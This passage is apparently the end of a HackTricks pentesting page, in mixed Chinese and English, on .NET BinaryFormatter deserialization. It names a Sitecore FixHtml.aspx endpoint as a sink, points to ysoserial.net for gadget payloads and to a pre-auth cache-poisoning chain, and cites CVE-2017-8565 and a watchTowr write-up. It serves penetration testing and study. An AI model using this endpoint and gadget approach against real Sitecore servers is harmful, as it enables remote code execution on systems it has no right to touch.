GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget任何返回字符串的 BinaryFormatter 链(副作用在反序列化期间执行)。参见 YSoNet/ysoserial.net 以生成 payloads。
For a full chain that starts preauth with HTML cache poisoning in Sitecore and leads to this sink:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## 参考资料
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}